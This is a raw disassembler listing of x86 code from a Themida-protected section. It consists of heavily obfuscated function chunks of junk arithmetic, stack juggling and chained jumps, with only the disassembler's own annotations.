; START OF FUNCTION CHUNK FOR sub_555903
loc_554905: ; CODE XREF: sub_555903-3FE7j
add esi, 4
jmp loc_551FF8
; END OF FUNCTION CHUNK FOR sub_555903
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554910: ; CODE XREF: sub_556A70-2B35j
push edx
jmp loc_558399
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_554916: ; CODE XREF: Themida_:00554729j
push esp
pop edx
push 3502h
mov [esp], edi
sub esp, 4
mov [esp], ecx
push 7F096D9Ah
mov ecx, [esp]
add esp, 4
shl ecx, 7
add ecx, 1E335C8Ch
not ecx
sub ecx, 9B83D24h
shl ecx, 3
add ecx, 0DEE55B96h
mov edi, ecx
pop ecx
jmp loc_559B7D
; ---------------------------------------------------------------------------
loc_554956: ; CODE XREF: Themida_:00557E35j
mov esi, 0F7A4B04h
or esi, 4960737Ch
add esi, 2FE567B3h
add esi, 80A01CD3h
mov eax, esi
pop esi
push ebp
mov ebp, 386A0DC7h
add esi, ebp
pop ebp
jmp loc_5527BE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5566B9
loc_55497E: ; CODE XREF: sub_5566B9+3CA8j
mov [esp+10h+var_10], ecx
push eax
pop ecx
pop eax
push edx
mov edx, 1A4E4Eh
jmp loc_558A95
; END OF FUNCTION CHUNK FOR sub_5566B9
; ---------------------------------------------------------------------------
loc_55498F: ; CODE XREF: Themida_:00555968j
shl ebp, 7
xor ebp, 70F718FEh
dec ebp
jmp loc_551C92
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55AE6E
loc_55499E: ; CODE XREF: sub_55AE6E+1E47j
sub al, bh
pop ebx
jmp loc_55984A
; END OF FUNCTION CHUNK FOR sub_55AE6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5549A6: ; CODE XREF: sub_556A70+4F8j
push esp
mov ebp, [esp-18h+arg_14]
add esp, 4
add ebp, 4
sub ebp, 4
xor ebp, [esp-1Ch+arg_18]
xor [esp-1Ch+arg_18], ebp
xor ebp, [esp-1Ch+arg_18]
pop esp
jmp loc_55124E
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5549C8: ; CODE XREF: Themida_:00559F4Dj
sub ebp, 4
jmp loc_550A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5549D3: ; CODE XREF: sub_556A70+33DBj
xchg eax, [esp-20h+arg_1C]
pop esp
jmp loc_557DB2
; ---------------------------------------------------------------------------
loc_5549DC: ; CODE XREF: sub_556A70-291Bj
add esi, 2
xor esi, [esp-8+arg_4]
xor [esp-8+arg_4], esi
jmp loc_555A36
; ---------------------------------------------------------------------------
loc_5549ED: ; CODE XREF: sub_556A70+FE5j
sub ebp, 6FE35373h
add ebp, ecx
add ebp, 6FE35373h
sub ebp, 778947F4h
jmp loc_55B82B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_554A06: ; CODE XREF: Themida_:00552716j
pop eax
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_55576D
; ---------------------------------------------------------------------------
push 0
jmp loc_554BA7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554A1F: ; CODE XREF: sub_556A70+62j
xchg ebx, [esp-8+arg_4]
jmp loc_55B991
; ---------------------------------------------------------------------------
loc_554A27: ; CODE XREF: sub_556A70+33BFj
pop [esp-8+arg_4]
mov esp, [esp-0Ch+arg_8]
mov eax, [esp-0Ch+arg_8]
push 3D80h
mov [esp-8+arg_4], edi
mov edi, esp
jmp loc_550EEF
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_554A3F: ; CODE XREF: Themida_:0055C47Fj
pop ebx
jmp loc_55A5D2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_558AE7
loc_554A45: ; CODE XREF: sub_558AE7+4471j
pop ebx
add [esp+0Ch+var_8], 3258691Ah
add [esp+0Ch+var_8], eax
sub [esp+0Ch+var_8], 3258691Ah
pop eax
push [esp+8+var_8]
pop ebx
jmp loc_55CA8B
; END OF FUNCTION CHUNK FOR sub_558AE7
; ---------------------------------------------------------------------------
loc_554A64: ; CODE XREF: Themida_:00558E7Ej
mov ebx, [esp]
add esp, 4
shr dh, 3
shr dh, 5
inc dh
shr dh, 5
push ecx
mov cl, 0Ch
or cl, 0A9h
add cl, 0A4h
add cl, 0C4h
sub cl, 0C3h
xor dh, cl
mov ecx, [esp]
jmp loc_5583AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554A8E: ; CODE XREF: sub_556A70+E2j
push ecx
jmp loc_556C87
; ---------------------------------------------------------------------------
loc_554A94: ; CODE XREF: sub_556A70+35Cj
push ecx
mov ecx, 367F2BDDh
or ecx, 2AB471DEh
or ecx, 4CC22EAAh
inc ecx
and ecx, 1C9E5EC8h
jmp loc_5599B6
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_554AB2: ; CODE XREF: Themida_:00551ADCj
push esp
pop edx
push ecx
jmp loc_55694B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554ABA: ; CODE XREF: sub_556A70-464Ej
pop [esp-18h+arg_14]
mov esp, [esp-1Ch+arg_18]
inc [esp-1Ch+arg_18]
pushf
jmp loc_554F71
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555903
loc_554AC9: ; CODE XREF: sub_555903-38F7j
pop [esp+4+var_4]
pop esp
mov [esp-4+arg_0], esp
push esi
push 4
pop esi
push eax
mov eax, 4D334869h
sub [esp+4+arg_0], eax
pop eax
add [esp+arg_0], esi
jmp sub_558287
; END OF FUNCTION CHUNK FOR sub_555903
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554AEB: ; CODE XREF: sub_556A70-178Ej
not dl
sub dl, 0FFh
push ax
jmp loc_552BF8
; ---------------------------------------------------------------------------
loc_554AF7: ; CODE XREF: sub_556A70-492Bj
pop esi
add edx, edi
pop edi
add edx, 3DB64A84h
add edi, edx
push [esp+4+var_4]
pop edx
jmp loc_559098
; ---------------------------------------------------------------------------
loc_554B0C: ; CODE XREF: sub_556A70+10B9j
pop esi
or edi, edx
push dword ptr [esp+0]
pop edx
add esp, 4
push eax
jmp loc_55B6F4
; ---------------------------------------------------------------------------
loc_554B1F: ; CODE XREF: sub_556A70+26F0j
mov ebx, 79770D94h
xor edx, ebx
pop ebx
sub edx, 61A5A396h
and esi, edx
pop edx
push ebp
push eax
mov eax, 43850C72h
shl eax, 8
push esi
mov esi, 37B604AAh
dec esi
and esi, 5EEE3361h
sub esi, 6E68DE2Ch
xor eax, esi
pop esi
jmp loc_55A517
; ---------------------------------------------------------------------------
loc_554B55: ; CODE XREF: sub_556A70+5E1Bj
pop edx
or ebx, 178D5DDFh
inc ebx
push edx
mov edx, 7ECA3DB8h
sub edx, 1784092Bh
and edx, 53585EEDh
sub edx, 0DEC800BFh
sub ebx, edx
pop edx
or ebx, 1A104E64h
push edx
mov edx, 604C4536h
add ebx, edx
pop edx
sub edi, ebx
pop ebx
mov ebx, 0B74EAE83h
jmp loc_55874B
; ---------------------------------------------------------------------------
loc_554B94: ; CODE XREF: sub_556A70+4FB8j
mov ebp, esp
add ebp, 4
push eax
mov eax, 4
jmp loc_55C9FC
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_554BA7: ; CODE XREF: Themida_:00554A1Aj
push dword ptr [esp]
pop ebx
push esi
jmp loc_551AC4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554BB1: ; CODE XREF: sub_556A70+2C46j
mov ebp, [esp-4+arg_0]
push esi
jmp loc_55B211
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_554BBA proc near ; CODE XREF: sub_556A70+31C8j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0055231F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00552447 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00552826 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055A766 SIZE 0000000B BYTES
push ebp
mov ecx, [esp+0]
jmp loc_552447
sub_554BBA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_554BC3: ; CODE XREF: Themida_:0055B7C9j
push ecx
jmp loc_552D23
; ---------------------------------------------------------------------------
loc_554BC9: ; CODE XREF: Themida_:00559E74j
mov [esp], ebp
jmp loc_55484A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_554BD1: ; CODE XREF: sub_5584F8+2E83j
not ebp
jmp loc_550C1A
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
loc_554BD8: ; CODE XREF: Themida_:00553933j
push 5B9Fh
mov [esp], ecx
mov ecx, esp
jmp loc_553B3A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554BE7: ; CODE XREF: sub_556A70+F8Cj
add edi, ecx
pop ecx
xor edi, [esp-4+arg_0]
xor [esp-4+arg_0], edi
xor edi, [esp-4+arg_0]
pop esp
shr ecx, 2
jmp loc_559072
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_554BFC: ; CODE XREF: Themida_:005532FAj
sub ebx, 3FB75C1Dh
add ebx, edi
add ebx, 3FB75C1Dh
jmp loc_552DB5
; ---------------------------------------------------------------------------
loc_554C0F: ; CODE XREF: Themida_:0055134Fj
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
jmp loc_55BF9C
; ---------------------------------------------------------------------------
loc_554C1D: ; CODE XREF: Themida_:00558E14j
add ecx, 4
add ecx, 4
push 7CF6h
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
add esp, 4
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push edi
mov edi, esp
push eax
mov eax, 5F5612A4h
add eax, 64FB2E6Fh
add eax, 3BAEBEF1h
add edi, eax
pop eax
push esi
mov esi, 4
add edi, esi
mov esi, [esp]
jmp loc_555EE5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554C7C: ; CODE XREF: sub_556A70+63AEj
add esp, 4
jmp loc_551CD7
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_554C87: ; CODE XREF: Themida_:00553920j
push esi
push ebp
mov ebp, 9162451h
mov esi, 1F03555Dh
jmp loc_555C42
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554C98: ; CODE XREF: sub_556A70+4870j
mov dl, 0EEh
sub esp, 4
mov [esp-8+arg_4], ebx
jmp loc_55852B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_554CA5: ; CODE XREF: Themida_:00553632j
mov dh, 0E4h
jmp loc_550CAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553651
loc_554CAC: ; CODE XREF: sub_553651+8FF1j
pop ecx
pop eax
xchg ebx, [esp+0Ch+var_C]
pop esp
or eax, eax
jz loc_55CE3F
push dword ptr [edi+1Ch]
mov ecx, [esp+0Ch+var_C]
push ebx
mov ebx, esp
push 7677h
mov [esp+14h+var_14], ebp
jmp sub_555B85
; END OF FUNCTION CHUNK FOR sub_553651
; ---------------------------------------------------------------------------
loc_554CD0: ; CODE XREF: Themida_:00550B64j
add esi, 0E322351h
pop ecx
xor esi, 74BDA67Dh
add eax, 62A93C46h
add eax, esi
sub eax, 62A93C46h
mov esi, [esp]
add esp, 4
jmp loc_558226
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554CF4: ; CODE XREF: sub_556A70+1154j
sub ebx, edi
pop edi
xchg ebx, [esp-0Ch+arg_8]
mov esp, [esp-0Ch+arg_8]
mov [esp-0Ch+arg_8], edi
jmp loc_5597D2
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55515F
loc_554D05: ; CODE XREF: sub_55515F-2952j
mov cl, 53h
jmp sub_553B60
; END OF FUNCTION CHUNK FOR sub_55515F
; ---------------------------------------------------------------------------
loc_554D0C: ; CODE XREF: Themida_:00552034j
mov edx, [esp]
jmp loc_550D1C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554D14: ; CODE XREF: sub_556A70-4724j
add esp, 4
shr ecx, 6
sub esp, 4
mov [esp+8+var_8], eax
mov eax, esp
add eax, 4
jmp loc_550DBC
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_554D2C: ; CODE XREF: Themida_:005556EFj
xor esi, ecx
jmp loc_551921
; ---------------------------------------------------------------------------
loc_554D33: ; CODE XREF: Themida_:00559776j
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_554D38: ; CODE XREF: Themida_:00551005j
mov bl, 0Ah
add al, bl
pop bx
jmp loc_559AC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554D43: ; CODE XREF: sub_556A70+9BAj
pop ebx
xchg ebx, edx
push edx
push edx
mov edx, 0FFFFFFFFh
add [esp+0Ch+var_8], edx
pop edx
push [esp+8+var_8]
pop edx
add esp, 4
inc edx
jmp loc_550B69
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_554D62: ; CODE XREF: Themida_:00558D09j
or cl, 39h
inc cl
xor cl, 30h
xor cl, 0F5h
mov bl, cl
pop ecx
jmp loc_553F1B
; ---------------------------------------------------------------------------
loc_554D75: ; CODE XREF: Themida_:00555A29j
xor esi, 0B3EAEF81h
add ebx, esi
pop esi
sub ebx, ebp
sub ebx, 6935107Fh
pop ebp
jmp loc_55C462
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554D8C: ; CODE XREF: sub_556A70-2433j
push [esp-16h+arg_10+2]
mov edx, [esp-12h+arg_C+2]
jmp loc_558C86
; ---------------------------------------------------------------------------
loc_554D97: ; CODE XREF: sub_556A70-C07j
add ebp, 4
push ebp
push [esp-0Eh+arg_C+2]
pop ebp
pop [esp-0Eh+arg_8+2]
pop esp
jmp loc_55943E
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_551B42
loc_554DAC: ; CODE XREF: sub_551B42+21j
mov esi, [esp-4+arg_0]
add esp, 4
and eax, edi
mov edi, [esp-8+arg_4]
add esp, 4
or eax, eax
jnz loc_55297F
mov edx, 31913C2Ah
push 6814h
mov [esp-8+arg_4], ecx
mov ecx, 1
jmp loc_55549E
; END OF FUNCTION CHUNK FOR sub_551B42
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_554299
loc_554DDC: ; CODE XREF: sub_554299+8363j
add ecx, 53196E7Ch
add ecx, ebp
jmp loc_55C2C3
; END OF FUNCTION CHUNK FOR sub_554299
; ---------------------------------------------------------------------------
loc_554DE9: ; CODE XREF: Themida_:0055B98Cj
mov [esp], ebx
jmp loc_557F3B
; ---------------------------------------------------------------------------
loc_554DF1: ; CODE XREF: Themida_:00553C78j
push edi
mov edi, 47F85C67h
neg edi
not edi
add edi, 0B807A39Eh
add eax, edi
jmp loc_557FDE
; ---------------------------------------------------------------------------
loc_554E08: ; CODE XREF: Themida_:0055C4A3j
pop eax
jmp loc_5538B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554E0E: ; CODE XREF: sub_556A70+5BAj
push esi
neg [esp-12h+arg_C+2]
pop esi
add esi, 6D434B94h
jmp loc_55A03F
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
jmp loc_554642
; ---------------------------------------------------------------------------
loc_554E27: ; CODE XREF: Themida_:00559F01j
pop ecx
jmp loc_55AE56
; ---------------------------------------------------------------------------
loc_554E2D: ; CODE XREF: Themida_:00551D4Aj
push ecx
mov ecx, 33341231h
mov edi, ecx
pop ecx
add edi, 8B34903h
add edi, 0DE84762h
add edi, 0D0D51606h
add esi, edi
jmp loc_55CA75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554E4F: ; CODE XREF: sub_556A70+1D09j
sub ebp, 23A70123h
add ebp, edx
add ebp, 23A70123h
jmp loc_556B51
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_554E62: ; CODE XREF: Themida_:00557F53j
sub eax, 2B4764FDh
pop ecx
jmp loc_555FA3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554E6D: ; CODE XREF: sub_556A70+2640j
or edx, eax
shl edx, 1
push ebx
mov ebx, 24h
add ebx, 368435E9h
add ebx, edi
push ebp
jmp loc_556898
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_554E85 proc near ; CODE XREF: sub_55B730-5C74j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00552AD1 SIZE 00000013 BYTES
push ebp
mov ebp, 4
add ecx, 8BE77F1h
add ecx, ebp
sub ecx, 8BE77F1h
mov ebp, [esp+0]
add esp, 4
sub ecx, 4
xchg ecx, [esp-4+arg_0]
pop esp
mov [esp+0], edx
push 1252h
mov [esp-4+arg_0], ebx
pop edx
push 635Dh
mov [esp-4+arg_0], ebp
mov ebp, edx
jmp loc_552AD1
sub_554E85 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554EC7: ; CODE XREF: sub_556A70-44D6j
pop ebp
add esp, 4
sub esp, 4
mov [esp-0Ch+arg_8], eax
mov eax, 54A06C2Dh
shl eax, 6
xor eax, 71241854h
push esi
jmp loc_559729
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_554EE7: ; CODE XREF: Themida_:00555995j
add esp, 4
push ebp
jmp loc_554F01
; ---------------------------------------------------------------------------
loc_554EF3: ; CODE XREF: Themida_:005512E4j
sub bl, 0A6h
sub esp, 4
mov [esp], edx
jmp loc_558153
; ---------------------------------------------------------------------------
loc_554F01: ; CODE XREF: Themida_:00554EEEj
push dword ptr [esp+4]
pop ebp
jmp loc_55976A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554F0B: ; CODE XREF: sub_556A70+36A4j
mov edi, 4
add eax, edi
pop edi
xchg eax, [esp-0Ch+arg_8]
pop esp
push ebx
mov ebx, 3DCC73FDh
xor ebx, 47306FA1h
add [esp-0Ch+arg_C], 11744BAh
sub [esp-0Ch+arg_C], 6BB7440Ch
add [esp-0Ch+arg_C], ebx
add [esp-0Ch+arg_C], 6BB7440Ch
push esi
push edx
mov edx, 76596A1Dh
add edx, 203B0629h
dec edx
shl edx, 2
shr edx, 4
add edx, 0FB7228A9h
mov esi, edx
pop edx
sub [esp-8+arg_C], esi
pop esi
pop ebx
add [esp-10h+arg_C], 406078F5h
sub [esp-10h+arg_C], eax
jmp loc_552FD5
; ---------------------------------------------------------------------------
loc_554F71: ; CODE XREF: sub_556A70-1FACj
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_554F76: ; CODE XREF: Themida_:0055930Bj
pop ebx
xor ebx, 727C05AFh
sub ebx, 0EAF252CFh
mov ebp, ebx
pop ebx
push edx
mov edx, 6F8323EAh
mov eax, edx
pop edx
xor eax, ebp
pop ebp
not eax
or eax, 46A96477h
shl eax, 2
dec eax
not eax
jmp loc_553127
; ---------------------------------------------------------------------------
loc_554FA4: ; CODE XREF: Themida_:0055C4EEj
mov esi, 76D47EEFh
sub esi, 76D47EEBh
add ecx, esi
pop esi
add ecx, 4
xchg ecx, [esp]
pop esp
add ebp, 4
add ebp, 2
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
jmp loc_559F98
; ---------------------------------------------------------------------------
loc_554FD6: ; CODE XREF: Themida_:005530EAj
pop edi
mov eax, ecx
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
push ecx
mov ecx, 9130B67Bh
add eax, ecx
pop ecx
and [edi+1Ch], eax
jmp loc_55456D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554FFF: ; CODE XREF: sub_556A70+1682j
pop ebp
sub [esp-1Ch+arg_1C], esi
pop esi
pop esi
add esi, 5B4372ADh
jmp loc_55B68A
; ---------------------------------------------------------------------------
loc_555011: ; CODE XREF: sub_556A70+166Dj
pop eax
mov eax, ebp
pop ebp
add eax, 5046689Ah
add eax, edi
push esi
mov esi, 7A283B94h
push 4B86h
mov [esp-24h+arg_20], eax
mov eax, 730118C7h
inc eax
or eax, 41D96152h
not eax
xor eax, 0A5C754DFh
add esi, 1B3522E2h
sub esi, eax
sub esi, 1B3522E2h
pop eax
sub eax, esi
jmp loc_554291
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555052: ; CODE XREF: Themida_:00553A52j
sub [esp], edi
mov edi, [esp]
add esp, 4
sub edi, 0A75C83Ch
add ebp, 42504B1h
add ebp, edi
sub ebp, 42504B1h
jmp loc_555B5D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555077: ; CODE XREF: sub_556A70+5589j
push 1BB3h
mov [esp-24h+arg_20], eax
pop esi
jmp loc_555442
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555085: ; CODE XREF: Themida_:0055355Cj
sub eax, esi
xor esi, eax
jmp loc_551118
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55508E: ; CODE XREF: sub_556A70+1ED7j
add esp, 4
push ecx
jmp loc_552583
; ---------------------------------------------------------------------------
loc_555097: ; CODE XREF: sub_556A70-2714j
add [edx], ecx
mov edx, [esp-10h+arg_C]
jmp loc_55BEFA
; ---------------------------------------------------------------------------
loc_5550A1: ; CODE XREF: sub_556A70+61A3j
sub bh, 0B1h
xor ch, bh
pop ebx
sub bh, ch
pop ecx
dec bh
jmp sub_55A748
; ---------------------------------------------------------------------------
loc_5550B1: ; CODE XREF: sub_556A70-4A54j
mov eax, [esp-4+arg_0]
add esp, 4
add edi, ebp
mov ebp, [esp-8+arg_4]
add esp, 4
xchg edi, [esp-0Ch+arg_8]
mov esp, [esp-0Ch+arg_8]
jmp loc_55C935
; ---------------------------------------------------------------------------
loc_5550CD: ; CODE XREF: sub_556A70+252j
mov esi, 0B493443h
jmp loc_554659
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55227F
loc_5550D7: ; CODE XREF: sub_55227F+12j
pop edx
sub edx, 1A273945h
mov edi, [esp+4+var_4]
add esp, 4
pop esi
push 1B53h
mov [esp+0], edx
pop eax
mov edx, [esp-4+arg_0]
jmp loc_55B030
; END OF FUNCTION CHUNK FOR sub_55227F
; ---------------------------------------------------------------------------
loc_5550F9: ; CODE XREF: Themida_:0055CDC1j
sub al, 0C5h
xor al, 0C6h
xor bh, al
pop eax
and bh, 0A0h
xor bh, 0DAh
sub al, bh
jmp loc_55C2F2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55510D: ; CODE XREF: sub_556A70+3F57j
push 4D0Dh
mov [esp-8+arg_4], edx
push 1353h
mov [esp-4+arg_0], eax
push 6A1Ch
mov [esp+0], ebp
mov ebp, 1
mov eax, ebp
mov ebp, [esp+0]
add esp, 4
jmp loc_556D7E
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555137: ; CODE XREF: Themida_:0055169Aj
add edx, 619638D0h
not edx
add edx, 0F62C6Bh
jmp loc_557BD0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55514A: ; CODE XREF: sub_556A70-5F6Fj
mov ecx, 4E2E6A38h
sub ecx, 713B92h
sub eax, ecx
mov ecx, [esp-6+arg_0+2]
jmp loc_5513D2
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_55515F proc near ; CODE XREF: sub_559F87-635Bj
var_12 = dword ptr -12h
var_6 = dword ptr -6
var_2 = word ptr -2
; FUNCTION CHUNK AT 005510DA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00551A56 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055280C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00554532 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00554D05 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00556451 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055C626 SIZE 00000012 BYTES
push bx
mov bl, 38h
push ax
mov ah, 8Bh
xor bl, ah
pop ax
dec bl
inc bl
jmp loc_554532
sub_55515F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555174: ; CODE XREF: sub_556A70+5F56j
mov dword ptr [edi+20h], 43371E27h
xor [edi+20h], ebx
pop ebx
push edx
mov edx, 666D05DAh
jmp loc_559CE9
; ---------------------------------------------------------------------------
loc_55518A: ; CODE XREF: sub_556A70+43CFj
neg esi
inc esi
xor esi, 2F785B68h
jmp loc_5533A9
; ---------------------------------------------------------------------------
loc_555198: ; CODE XREF: sub_556A70+402j
sub edx, edi
jmp loc_5514EC
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
push small 5A48h
push sp
pop small word ptr [esp]
push small 5A81h
mov [esp], bp
push small 2
pop bp
push di
mov di, 3E26h
sub [esp+4], di
pop di
add [esp+2], bp
jmp loc_552775
; ---------------------------------------------------------------------------
loc_5551CE: ; CODE XREF: Themida_:00551560j
mov [esp], esi
push 3D32h
mov [esp], ebp
push 21D248B5h
jmp loc_55837C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_5551E3: ; CODE XREF: sub_5584F8+2E16j
mov [esp+0], eax
push esi
mov esi, 4D0F6E72h
jmp loc_5535CB
; END OF FUNCTION CHUNK FOR sub_5584F8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
jmp loc_558C13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_5551F7: ; CODE XREF: sub_5584F8-72FEj
mov ebx, 28651300h
and ebx, 41124CDh
neg ebx
dec ebx
jmp loc_550AAD
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
loc_55520A: ; CODE XREF: Themida_:00559B25j
add al, 0CAh
add al, 0C1h
add al, ch
sub al, 0C1h
sub al, 0CAh
jmp loc_554238
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555219: ; CODE XREF: sub_556A70+48EEj
add eax, 0C104BE3Fh
jmp loc_55A533
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_555223: ; CODE XREF: Themida_:00551A3Dj
push 3EE9h
mov [esp], ebx
xchg ecx, [esp]
jmp loc_55846F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5516F8
loc_555233: ; CODE XREF: sub_5516F8-AB4j
xor ecx, 0B6C9370h
sub edi, ecx
pop ecx
sub edi, 81C0A6Eh
sub edi, 7E88325Dh
jmp loc_558C18
; END OF FUNCTION CHUNK FOR sub_5516F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552E24
loc_55524D: ; CODE XREF: sub_552E24+6E6Bj
push dword ptr [esp+0]
jmp loc_5596FF
; END OF FUNCTION CHUNK FOR sub_552E24
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555255: ; CODE XREF: sub_556A70-64Fj
push edi
jmp sub_553A74
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55525B: ; CODE XREF: Themida_:00559E64j
push ecx
push ebx
jmp loc_556920
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_555262: ; CODE XREF: sub_556A70+55E3j
xor edx, ebx
xor ebx, edx
xor eax, ebx
jmp loc_557EA0
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55526D: ; CODE XREF: Themida_:00557C81j
pop esp
push cx
not word ptr [esp]
pop cx
jmp loc_559E50
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55527B: ; CODE XREF: sub_556A70-2470j
add eax, 4
sub eax, 4
xchg eax, [esp+8+var_8]
jmp loc_558B3D
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_550BFD
loc_55528B: ; CODE XREF: sub_550BFD+8D1Bj
sub edx, ecx
sub edx, 51DE1E2Ah
sub edx, 1B6A2980h
add edx, 3A5F6E02h
push [esp+4+var_4]
jmp loc_551799
